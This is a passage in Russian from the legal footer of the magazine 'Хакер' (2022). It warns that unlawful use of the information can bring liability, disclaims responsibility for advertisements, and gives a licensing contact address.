к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022

Вам также может понравиться